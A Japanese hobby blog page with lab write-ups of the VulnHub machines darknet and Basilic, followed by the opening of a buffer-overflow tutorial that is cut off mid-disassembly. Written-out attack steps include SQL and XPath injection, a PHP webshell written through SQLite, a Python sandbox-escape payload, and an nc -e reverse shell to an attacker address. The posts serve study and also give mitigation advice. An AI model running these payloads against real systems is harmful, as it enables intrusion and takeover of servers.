溶けたペンギンの雑記

ブログ初心者です。よく分かりません。パソコン使います。

darknet の攻略を頑張った記事

お久しぶりです。

今回は darknet という脆弱な仮想イメージの攻略をしてみたので、そのまとめを行っていこうと思います。

以下に仮想イメージのリンクを載せるので興味があれば是非挑戦してみてください。

www.vulnhub.com

また、これから紹介する攻撃手法やツールを無許可で外部の環境に行うことは犯罪となりますので、そのようなことは行わないでください。

ローカルシェル編

まず初めにポートスキャンを行ってみました。

すると出力は次のようなものでした。

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
55953/tcp open  status  1 (RPC #100024)

80 番ポートで http が動いているようなのでとりあえずブラウザでアクセスしてみます。

darknet.com

画像からも分かるとおり非常にシンプルな作りとなっており、次に繋がる情報は何も見つかりませんでした。

そこで、ウェブコンテンツスキャナを用いて隠されたディレクトリやファイル、その他の面白い情報が無いかを調べてみました。

---- Scanning URL: http://10.0.2.15/ ----
==> DIRECTORY: http://10.0.2.15/access/
+ http://10.0.2.15/cgi-bin/ (CODE:403|SIZE:285)
+ http://10.0.2.15/index (CODE:200|SIZE:378)
+ http://10.0.2.15/index.html (CODE:200|SIZE:378)
+ http://10.0.2.15/server-status (CODE:403|SIZE:290)

すると、 access というディレクトリを見つけることが出来ました。

早速ブラウザでアクセスしてみましょう。

darknet.com/access/

すると 888.darknet.com.backup というファイルが見つかりました。

そして、その中には次のような内容が書いてありました。

<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin devnull@darknet.com
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost>

どうやらサブドメイン888.darknet.com というものがありそうです。

/etc/hosts に追記して 888.darknet.com にアクセスしてみましょう。

888.darknet.com

888.darknet.com

どうやらログイン画面のようです。

まだパスワードなどの情報は何も見つかっていないため SQL Injection などの攻撃が出来ないかを試してみます。

危険なパラメータ

どうやら SQL Injection が可能みたいです。

そこで、ユーザ名は 888.darknet.com.backup から devnull だろうと予想してパスワードの判定をコメントアウト出来ないかを試みてみました。

ユーザ名:devnull' /*、パスワード:test

すると認証を突破することに成功しました。

そして、その先には次のようなページがありました。

認証後の画面

どうやら SQL を実行出来るみたいです。

裏で動いているのは先ほどのエラーメッセージから SQLite と予想出来るのでそれで何か出来ないかを考えてみます。

SQLite に限らず SQL が実行出来るなら次の2つの行動が考えられます。

  • データベースから秘密の情報を手に入れること

  • ファイルを作成してリバースシェルやコマンドを実行すること

今回は ssh が動いているわけでもないですし、秘密の情報を探すよりはファイルを作成してコマンド実行出来ないかを調べた方が良さそうです。

そこで、少しインターネットで調べてみると次のようなコマンドでファイルを作成出来ることが分かりました。

sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn;
sqlite> CREATE TABLE pwn.shell (code TEXT);
sqlite> INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo();?>');
sqlite> .quit

サイト: https://github.com/nixawk/pentest-wiki/blob/master/2.Vulnerability-Assessment/Database-Assessment/sqlite/sqlite_hacking.md

DocumentRoot は /home/devnull/public_html であるため、このフォルダに書き込みを試みましたが権限の関係からか失敗してしまいました。

そこで、他に使えそうなディレクトリがないかを調べる為に 888.darknet.com に対してウェブコンテンツスキャナを使ってディレクトリを探してみました。

---- Scanning URL: http://888.darknet.com/ ----
==> DIRECTORY: http://888.darknet.com/css/
==> DIRECTORY: http://888.darknet.com/img/
==> DIRECTORY: http://888.darknet.com/includes/
+ http://888.darknet.com/index.php (CODE:200|SIZE:484)
+ http://888.darknet.com/server-status (CODE:403|SIZE:296)

すると、cssimgincludes という3つのディレクトリが見つかりました。

それぞれに対して書き込みを試みると、 img ディレクトリに対してのみ書き込みに成功しました。

実際にアクセスしてみると phpinfo が確認できます。

書き込みによる phpinfo() の実行

この調子で system() を用いてコマンドの実行を試みましたがなぜか失敗してしまいました。

どうやら disable_functions で禁止されているようです。

禁止されている

しかし、 scandir()readfile() を用いることで擬似的に lscat を実行出来るようになったため何か面白い情報が無いかを調べていきます。

すると、signal8.darknet.com という新たなサブドメインを見つけることに成功しました。

/etc/apache2/site-available

そこで、先ほどと同様に /etc/hosts に追記してアクセスしてみます。

signal8.darknet.com

signal8.darknet.com

Errorlevel と Devnull という2つのリンクがあります。

それらをクリックすると contact.php というページに飛び、id の値によって表示内容が変わるようです。

contact.php

しかし、攻略の糸口が見つからないので今回もウェブコンテンツスキャナを使います。

---- Scanning URL: http://signal8.darknet.com/ ----
==> DIRECTORY: http://signal8.darknet.com/css/
+ http://signal8.darknet.com/index.php (CODE:200|SIZE:277)
+ http://signal8.darknet.com/robots.txt (CODE:200|SIZE:19)
+ http://signal8.darknet.com/server-status (CODE:403|SIZE:300)

robots.txt が見つかりました。

中身を調べると次のようになっていました。

robots.txt

xpanel というディレクトリがあるようです。

早速アクセスしてみましょう。

xpanel

またもやログイン画面のようです。

しかし、先ほどとは違い SQL Injection を行うことは出来なさそうです。

どうしようもないので、他の人の writeup を確認すると contact.php の id に渡すパラメータの検証を行っていました。

そこで同じようにパラメータの検証を行ってみます。

すると、XPath Injction に関するクエリが刺さりました。

XPath Injection

XPath Injection は以下のサイトで説明されています。 https://owasp.org/www-community/attacks/XPATH_Injection

どうやら SQL Injection と似た様に XML を用いたデータベースに対する操作に対してコマンドを挿入できるといったようなものみたいです。

そこで、XPath に関してどのような操作を行うことができるのかを以下のサイトで調べてみました。 https://www.w3schools.com/XML/xpath_syntax.asp

そして、あり得そうな node 名を総当たりして色々試していた結果、次のように errorlevel のパスワードを表示させることが出来ました。

errorlevel のパスワード

そしてログインすると次のようなページに飛びました。

edit.php と ploy.php

edit.php はアクセスすることが出来なかったので ploy.php にアクセスします。

ploy.php

ファイルをアップロード出来るようですが、下のキーパッドで正しい鍵を入力しなければならないようです。

鍵の長さのエラー

鍵の長さは4つであると実験した結果分かったため、burp で総当たりします。

burpでの鍵の特定

すると、鍵は 37, 10, 59, 17 であると分かりました。

これを用いてファイルをアップロードしてみます。

拡張子でのエラー

どうやら拡張子に関して制限がかかっているようです。

これを突破するために色々試した結果、 .htaccess ファイルなら上手くいくことが分かりました。

しかし、それでも disable_functions に制限がかかっているため出来る事に制限がかかったままとなっています。

これでは先ほどと何も変わっていないため意味がありません。

どうしようもなくなってしまったため他の人の writeup を見てみると、空の php.ini を同じディレクトリに置くと設定の上書きが出来るといった手法を用いていました。

どうやら php.ini の参照順序を上手く利用しているようです。 https://www.php.net/manual/ja/configuration.file.php

これを用いることで system 関数が利用できるようになり、コマンドを実行出来るようになりました。

コマンドの実行

これを利用して wget でローカルからリバースシェルの php ファイルをアップロードしてアクセスすることでローカルのシェルを取得することが出来ました。

権限昇格編

Linux の調査を行うことができる便利なツールを用いて調査を行います。

すると、次のような興味深いファイルが見つかりました。

suphp.conf

これは suphp というツールのコンフィグファイルのようです。

調べてみると、suphp は php を所有者の権限で実行するためのものであるらしく、所有者が root であれば root の権限で php が実行されるというかなり魅力的なツールのようです。

試しに所有者が root の php ファイルを探してみると次のファイルが見つかりました。

これらはそれぞれ次のようなコードとなっています。

sec.php

<?php

require "Classes/Test.php";
require "Classes/Show.php";

if(!empty($_POST['test'])){
    $d=$_POST['test'];
    $j=unserialize($d);
    echo $j;
}
?>

Test.php

<?php

class Test {

    public $url;
    public $name_file;
    public $path;

    function __destruct(){
        $data=file_get_contents($this->url);
        $f=fopen($this->path."/".$this->name_file, "w");
        fwrite($f, $data);
        fclose($f);
        chmod($this->path."/".$this->name_file, 0644);
}
}

?>

Show.php

<?php

class Show {

    public $woot;

    function __toString(){
        return "Showme";        

}
    function Pwnme(){
        $this->woot="ROOT";

}

}

?>

これらのコードから、安全ではないデシリアライゼーションを用いた攻撃を行うのではないかと推測しました。 https://blog.tokumaru.org/2017/09/

そこで、とりあえず確認するために sec.php にアクセスしようとしたら 500 Internal Server Error が発生しました。

これを解決するために、suphp.conf が書き換え可能であることを踏まえて考えて調べてみると min_uidmin_gid を 0 に設定すれば良いことが分かりました。

そこでそのように設定してみます。

suphp.conf の書き換え

すると、sec.php でエラーが発生しないようになりました。

改めて sec.php のコードを確認すると、sec.php では post メソッドでうけとった test に入っているパラメータをデシリアライズして echo で表示するといった処理をしているようです。

そこで、Test クラスを用いて攻撃を仕掛けて任意のファイルを作成させるために以下のようなシリアライズしたデータを渡してみました。

安全ではないデシリアライゼーションの攻撃

しかし、失敗してしまいました。

失敗した時のレスポンス

どうやら echo で出力する際にデシリアライズしたデータを文字列に出来ないというエラーのようです。

そこで、Show クラスでは __toString があることから 自作の Test クラスと合わせてシリアライズすれば問題が解決するのではないかと思い、試してみました。

Warning が出ているが、エラーではない

思っていた挙動とは違いますが、とりあえずエラーではないのでこれで攻撃を行ってみると上手くいきました。

これで所有者が管理者の php ファイルを作成出来るようになったため、これを用いてリバースシェルを作成すれば管理者権限を取得することが出来ます。

Flag

まとめ

凄く長いし、難しかったですね。

でも、学びが非常に多いマシンで楽しかったです。

最後に、他の人の writeup を色々と読んでいたのですが、リバースシェルを用いずに phpscandir()readfile() などを用いた簡易的なシェルだけで攻略している人もいて驚きました。

自分はいつも find や Linux の色々なものを調べてくれるツールに頼っているため、それら無しでどうやって suphp.conf の様な興味深いファイルをみつけられるのか非常に気になりますね。

とにかく、まだまだ自分の実力が足りていないのを痛感しました。

もっと精進する必要がありそうです。

とりあえず今回はここらへんで終わりにしようと思います。

最後までお付き合いいただきありがとうございました。

Basilic を攻略したのでその振り返りなど

こんにちは。

今回は Basilic という脆弱な仮想イメージで権限昇格までを行ったのでその流れを書いていこうと思います。

ダウンロードはしたのリンクから可能なので興味があれば是非挑戦してみてください。

www.vulnhub.com

いつも通り注意ですが、これから紹介される攻撃手法などを許可されていない環境に対して行うことは犯罪なので絶対にやらないでください。

シェルを取るまで

まずはポートスキャナで調査を行いましょう。

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 474a26988825d6ef32c8b3192028f5cf (RSA)
|   256 63f3bf003cca692db526a069f37ee933 (ECDSA)
|_  256 894175a7fc699a342a83169775071bbc (ED25519)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.13)
|_http-title: Basilic | Home
|_http-server-header: Werkzeug/0.14.1 Python/2.7.13
MAC Address: 08:00:27:BC:9A:7A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.79 ms 10.0.2.25

どうやら 22 番ポートで ssh が、 5000 番ポートで http が動いていることが分かります。

ブラウザでアクセスしてみましょう。

ブラウザでアクセスした際の画像

contact.html

アクセスしてみた結果、contact.html で公開鍵が手に入る以外は有力な情報が得られません。

そこで、ツールを使って何か脆弱性などがないかを調べてみます。

---------------------------------------------------------------------------
+ Target IP:          10.0.2.25
+ Target Hostname:    10.0.2.25
+ Target Port:        5000
+ Start Time:         2024-08-12 08:06:24 (GMT-4)
---------------------------------------------------------------------------
+ Server: Werkzeug/0.14.1 Python/2.7.13
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/2.7.13 appears to be outdated (current is at least 3.9.6).
+ OPTIONS: Allowed HTTP Methods: HEAD, OPTIONS, GET .
+ /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd: The Web_Server_4D is vulnerable to a directory traversal problem.
+ /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org).
+ /servlet/org.apache.catalina.ContainerServlet/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes.
+ /servlet/org.apache.catalina.Context/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes.
+ /servlet/org.apache.catalina.Globals/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes.
+ /servlet/org.apache.catalina.servlets.WebdavStatus/<script>alert('Vulnerable')</script>: Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes.
+ /nosuchurl/><script>alert('Vulnerable')</script>: JEUS is vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. See: https://seclists.org/fulldisclosure/2003/Jun/494
+ /~/<script>alert('Vulnerable')</script>.aspx?aspxerrorpath=null: Cross site scripting (XSS) is allowed with .aspx file requests. See: http://www.cert.org/advisories/CA-2000-02.html
+ /~/<script>alert('Vulnerable')</script>.aspx: Cross site scripting (XSS) is allowed with .aspx file requests. See: http://www.cert.org/advisories/CA-2000-02.html
+ /~/<script>alert('Vulnerable')</script>.asp: Cross site scripting (XSS) is allowed with .asp file requests. See: http://www.cert.org/advisories/CA-2000-02.html
+ /node/view/666\"><script>alert(document.domain)</script>: Drupal 4.2.0 RC is vulnerable to Cross Site Scripting (XSS).
+ /mailman/listinfo/<script>alert('Vulnerable')</script>: Mailman is vulnerable to Cross Site Scripting (XSS). Upgrade to version 2.0.8 to fix.
+ /index.php/\"><script><script>alert(document.cookie)</script><: eZ publish v3 and prior allow Cross Site Scripting (XSS).
+ /bb000001.pl<script>alert('Vulnerable')</script>: Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1732
+ /a.jsp/<script>alert('Vulnerable')</script>: JServ is vulnerable to Cross Site Scripting (XSS) when a non-existent JSP file is requested. Upgrade to the latest version of JServ.
+ /<script>alert('Vulnerable')</script>.thtml: Server is vulnerable to Cross Site Scripting (XSS).
+ /<script>alert('Vulnerable')</script>.shtml: Server is vulnerable to Cross Site Scripting (XSS).
+ /<script>alert('Vulnerable')</script>.jsp: Server is vulnerable to Cross Site Scripting (XSS).
+ /<script>alert('Vulnerable')</script>.aspx: Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net).
+ /<script>alert('Vulnerable')</script>: Server is vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0681
+ ////////../../../../../../etc/passwd: Xerox WorkCentre allows any file to be retrieved remotely. See: https://www.securitytracker.com/id/1008523
+ /docs/<script>alert('Vulnerable');</script>: Nokia Electronic Documentation is vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0801
+ /fA9eLSYhur1WhWrqjQRJt4AZAl9r2G3gNyyf3403VlOtXu9xuJR8IKTRyhR1gqVP4P3S9mgnNbfbW1R8HjCfaGSrYitYgmWSZ55tVJ4GvoAtK0WZDKYIMIShRtuLZMhchYHrj9G4StHiB69wpEtb1oYZNFzunnazJHN5YOHGXBWRAXL9OzZ7XpmSJXgPFtZplNOEpNWQuKbWSmwn1dc9QzbNByRxSgO<font%20size=50>DEFACED<!--//--: MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1453
+ /D3IvZFDVwtKoI2r4uRB9qH1phs1n9Wei5eQ6DreOAaGmiAskXhXMgr3pX9bG50e6eLdwuPD7fmn1PDrfpFqo32YolB8D6hYJr8x5FsgCq7eX4FuttbBbnaJvLL2r56bEuLb9emVbfBZmOuXxVWYGcSxWGT769HX1Bykh02gRyw1jDicSUmYeBMeFeMdUdY0KPIZqcs5KoFtvuZkjrb5vmiH3afJ7KY6<font%20size=50><script>alert(11)</script><!--//--: MyWebServer 1.0.2 is vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1453
+ /pls/help/<script>alert('Vulnerable')</script>: Oracle 9iAS is vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2029
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 31 item(s) reported on remote host
+ End Time:           2024-08-12 08:06:39 (GMT-4) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

どうやらパストラバーサル脆弱性があるみたいですね。

そこで、実験のために適当なファイル名(neko)を入力してみると次のように表示されました。

適当なファイル名

どうやら /dev/opt/basilic_dev_website.py がこのウェブサイトのコードで、/dev/opt/ がカレントディレクトリのようです。

コードのファイル名が分かったので、このウェブサイトがどのようなコードで動いているのかを確認するために basilic_dev_website.py を表示してみましょう。

(表示したものに改行が適用されてなかったため整形しました。)

#/usr/bin/env python
# -*- coding:utf-8 -*-

# First flag : 905459d7e2dbb3c47ab947faed7b12b0

import os
from flask import Flask, request, jsonify, Response
app = Flask(__name__)


@app.route('/')
def index():
        with open('opt/webserver/index.html', 'r') as myfile:
                return myfile.read()


@app.route('/<path:path>')
def load_page(path):
        if path == 'json_calc':
                x = request.query_string
                g = {"__builtins__" : None} # Removing all builtins for security
                l = {}
                try:
                        exec(x, g, l)
                        return jsonify(l)
                except Exception,e:
                        return jsonify({'error': str(e)})
        else :
                try:
                        with open('/opt/webserver/' + path, 'r') as myfile:
                                return myfile.read()
                except Exception,e:
                        return Response(__file__ + ' : ' + str(e), status=404)


if __name__ == '__main__':
        app.run(host= '0.0.0.0')

このコードを確認すると json_calc というページがあり、その中で exec を実行していることが分かります。

とりあえず、アクセスしてみると次のようなサイトが表示されました。

json_calc

以下のサイトで役に立ちそうな情報を見つけたのでそれらを使ってコマンドを実行してみました。(どうやら PyJail というジャンルの問題らしいです)

book.hacktricks.xyz

www.intrinsec.com

GET /json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('ls').read() HTTP/1.1
Host: 10.0.2.25:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 175
Server: Werkzeug/0.14.1 Python/2.7.13
Date: Sat, 17 Aug 2024 06:43:20 GMT

{"x":"bin\nboot\ndev\netc\nhome\ninitrd.img\ninitrd.img.old\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nvmlinuz\nvmlinuz.old\n"}

無事 ls コマンドが実行されていることが分かります。

そこで、リバースシェルもこのまま取得しようとしたのですが、ls /etc/passwd 等のようにスペースを使うと上手くいかなくなってしまうため簡単にはいきませんでした。

次に、 listdir 関数を使用することでスペースを使わずに色々な情報を探ることが出来るため面白い情報が無いかを調べました。

すると、/home/python ディレクトリに secret.txt という重要な情報が入っていそうなファイルを見つけました。

GET /json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir("/home/python") HTTP/1.1
Host: 10.0.2.25:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 57
Server: Werkzeug/0.14.1 Python/2.7.13
Date: Sat, 17 Aug 2024 07:16:56 GMT

{"x":[".bash_logout",".bashrc","secret.txt",".profile"]}

これをパストラバーサル脆弱性を用いて確認してみると、2つ目のフラグが見つかりました。

second flag

しかし、シェルを取得する為に有用な情報は見つかりませんでした。

そこでスペースを使用しないで任意のコマンドを実行出来ないか調べていたところ興味深い内容を見つけました。

さまざまな exec* 関数は、プロセス内にロードされる新しいプログラムに与えるための、引数のリストを取ります。どの関数の場合でも、新しいプログラムに渡されるリストの最初の引数は、ユーザがコマンドラインで入力する引数ではなく、そのプログラム自体の名前です。 C プログラマならば、プログラムの main() に渡される argv[0] だと考えれば良いでしょう。たとえば、 os.execv('/bin/echo', ['foo', 'bar']) が標準出力に出力するのは bar だけで、 foo は無視されたかのように見えることになります。 https://docs.python.org/ja/3/library/os.html

どうやら os.execv 関数を利用すればスペースを使用せずに任意のコマンドを実行出来そうです。

そこでこの関数を用いてリバースシェルを作成してみました。

GET /json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').execv("/bin/nc",["/bin/nc","-e","/bin/bash","10.0.2.18","8000"]) HTTP/1.1
Host: 10.0.2.25:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflatea
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

すると上手くシェルを取ることに成功しました。

リバースシェル

python から basilic

先ほどの章で python ユーザのシェルを取ることが出来たので、他のアカウントも侵害していきましょう。

色々調べてみると basilic というアカウントのホームディレクトリに encrypted_password というファイルがありました。

contact.html に載っていた公開鍵から秘密鍵を生成して復号を試みると、無事パスワードの復号に成功しました。 (よく見ると明らかに公開鍵の長さが短いですよね。この時はダメ元で秘密鍵を求めてみましたが、改めて考えると計算が可能な雰囲気は漂っていました。)

ちなみに、秘密鍵の導出に使用したのは RsaCtfTool というツールです。

それでは、求めたパスワードを用いて basilic のアカウントにログインしてみましょう。

basilic のアカウントにログイン

無事にログインすることが出来ました。

basilic から管理者権限

色々と調べてみると sudo で calc_test.py というファイルを実行出来ることが分かりました。

sudo で可能なこと

また、 calc_test.py は json_calc のページにアクセスし、その結果を指定されたファイルに書き込むという動作を行っています。

json_calc では任意のコードを実行出来ますが、その権限は python であり管理者権限ではないためファイルに書き込む機能を上手く活用する必要がありそうです。

そこで、ウェブサーバとして動いている python のコードを停止した後に python の http.server をカレントディレクトリで実行し、 json_calc という名前のファイルをカレントディレクトリに作成することで任意の内容を返すことが出来ます。

pid
サーバをリスタート
リスタートした結果
json_calc を任意に設定

これによって管理者権限で任意のファイルに任意の内容を書き込むことが出来るようになりました。

あとは /etc/passwd に新しく管理者権限をもつアカウントを追加して管理者権限を取得しましょう。

json_calc に新しい/etc/passwd の内容を書き込む
/etc/passwd の中身を新しい内容で上書き
管理者権限と flag の取得

おまけ

XSS

今回は上手く活用出来ませんでしたが今回のウェブサイトには XSS がありました。

権限昇格について

今回はサーバを停止して自分のサーバを新たに立てるといった手法で json_calc を自由な内容に設定して書き換えを実行しました。

しかし、サーバのファイルは python のアカウントでの書き込みの権限があったのでサーバ用のコード自体を書き換えることでも json_calc のページが返す内容を操作できたのではないかと考えられます。

しっかりと権限は確認しないと駄目ですね。。。

対策

パストラバーサル

まず、パスの内容をそのまま open 関数に渡しているのがパストラバーサルの原因になっていると考えられます。

この脆弱性によってウェブアプリのソースコードを閲覧することが出来るようになるため別の攻撃に繋がる可能性があります。

もし改善するならば、パスが json_calc でなかった場合に直接パス名を open に渡すのではなく、アクセス出来るファイルを制限するといったような対策が有効であると考えられます。

また、open 関数でエラーが発生した際にエラーメッセージを直接表示するといった実装も攻撃の手がかりになる場合があるので「アクセスに失敗しました」といったようなユーザ向けの簡素なエラーメッセージを表示するだけでも良いのではないかと思います。 (あらためて python のコードの該当の箇所を下に貼ります。)

@app.route('/<path:path>')
def load_page(path):
        if path == 'json_calc':
                x = request.query_string
                g = {"__builtins__" : None} # Removing all builtins for security
                l = {}
                try:
                        exec(x, g, l)
                        return jsonify(l)
                except Exception,e:
                        return jsonify({'error': str(e)})
        else :
                try:
                        with open('/opt/webserver/' + path, 'r') as myfile:
                                return myfile.read()
                except Exception,e:
                        return Response(__file__ + ' : ' + str(e), status=404)

また、パストラバーサルの対策としては他のディレクトリにアクセス出来ないように入力を英数字のみに限定したり、/ . といった文字をエスケープするといった対策も考えられます。

ただし、flask では特殊な挙動があるようなのでエスケープの対策を行う際には気をつけましょう。

github.com

任意コマンドの実行

exec 関数にユーザの入力を渡すのは危険なのでそのような実装はなるべく避けるのが良いと考えられます。

どうしても exec 関数を使用したい場合はユーザの入力に対して危険な文字列が入っていないかを検査するような処理を加えることで少しだけ安全になりますが、それでもリスクは大きいです。

また、python ユーザの権限を最小限にすることで仮に任意コードの実行が行われてしまった時の被害を小さくすると言った対策も考えられます。

RSA 暗号

鍵を生成する際は十分安全な長さで生成しましょう。

sudo に関して

calc_test.py というファイルを sudo で実行出来るように設定していたのが危険であったので、権限などはしっかりと設定しないと危険になってしまうみたいですね。

まとめ

今回も勉強になりました。

対策に関しては、あくまで素人が書いているため正しいのか微妙です。

それでは、今回の記事はこのあたりで終わりにしようと思います。

長々とお付き合いいただきありがとうございました。

PWNに入門するぞ!!!!!!!!

お久しぶりです。

研究が忙しいと勉強する時間が少なくなってしまいますね。

今回は PWN の入門記事と言うことで基礎的な内容をざっと説明していこうかと思います。

注意点としましては、この記事を書いているのも PWN 初心者であるため間違いがあるかも知れないという点があります。

そのため、この記事だけを信頼するのではなく他の資料も用いて勉強していただけると幸いです。

スタックバッファオーバーフロー

多くの問題ではこの脆弱性が利用されていますね。

スタックバッファオーバーフローとは、ユーザからの入力に対して文字数制限などが加えられていないことにより意図しない箇所の値が書き換えられてしまうといった脆弱性です。

言葉で説明しても分かりにくいと思うので picoCTF の buffer overflow 1 という問題を例に説明します。

問題のリンクは下に貼るので皆さんも手を動かしてみてください。

https://play.picoctf.org/practice/challenge/258

まず配布された実行ファイルを動かしてみましょう。

$ ./vuln                                                                                                             
Please enter your string: 
aaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

特にクラッシュしたりせず正常に終了しました。

それではもっとたくさんの文字を入力に渡してみましょう。

$ ./vuln
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x61616161
zsh: segmentation fault  ./vuln

文字をたくさん入力しただけなのにクラッシュしてしまいました。

一体何が起きたのでしょうか?

何が起きたかを調べる際に役立つのが gdb というツールです。

次のコマンドで gdb を起動してみましょう。

gdb ./vuln

起動できたら今度は run コマンドでプログラムを動かしてみます。

gdb-peda$ run

そして先ほどと同じように長い文字列を入力として渡してみると次のような出力が表示されました。 (私の環境では gdb-pedaというものを使っていますが、他のツールでもクラッシュの詳細は表示されると思います。)

[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61616161 ('aaaa')
ECX: 0x0 
EDX: 0x0 
ESI: 0x8049350 (<__libc_csu_init>:      endbr32)
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x61616161 ('aaaa')
ESP: 0xffffcf40 ('a' <repeats 13 times>)
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616161
[------------------------------------stack-------------------------------------]
0000| 0xffffcf40 ('a' <repeats 13 times>)
0004| 0xffffcf44 ("aaaaaaaaa")
0008| 0xffffcf48 ("aaaaa")
0012| 0xffffcf4c --> 0x61 ('a')
0016| 0xffffcf50 --> 0xffffcf70 --> 0x1 
0020| 0xffffcf54 --> 0xf7e23e34 --> 0x223d2c (',="')
0024| 0xffffcf58 --> 0x0 
0028| 0xffffcf5c --> 0xf7c23c65 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61616161 in ?? ()

出力からどうやら 0x61616161 にアクセスしようとして SIGSEGV 、つまりセグメンテーション違反が発生しているということが読み取れます。

0x61a文字コードなので、入力された値によって本来アクセスするはずだったアドレスの値が書き換えられてしまったのではないかと考えられます。

詳細を確認するために一つづつ処理を追いかけてみましょう。

入力した値によって何かしらの変更が加えられているため、入力する直前にブレークポイントを設置してみます。

どのアドレスが入力の命令なのかを確認するために gdb 上で disassemble コマンドを実行し、 vuln 関数のアセンブラを確認してみましょう。

gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x08049281 <+0>:     endbr32
   0x08049285 <+4>:     push   ebp
   0x08049286 <+5>:     mov    ebp,esp
   0x08049288 <+7>:     push   ebx
   0x08049289 <+8>:     sub    esp,0x24
   0x0804928c <+11>:    call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049291 <+16>:    add    ebx,0x2d6f
   0x08049297 <+22>:    sub    esp,0xc
   0x0804929a <+25>:    lea    eax,[ebp-0x28]
   0x0804929d <+28>:    push   eax
   0x0804929e <+29>:    call   0x8049050 <gets@plt>
   0x080492a3 <+34>:    add    esp,0x10
   0x080492a6 <+37>:    call   0x804933e <get_return_address>
   0x080492ab <+42>:    sub    esp,0x8
   0x080492ae <+45>:    push   eax
   0x080492af <+46>:    lea    eax,[ebx-0x1f9c]
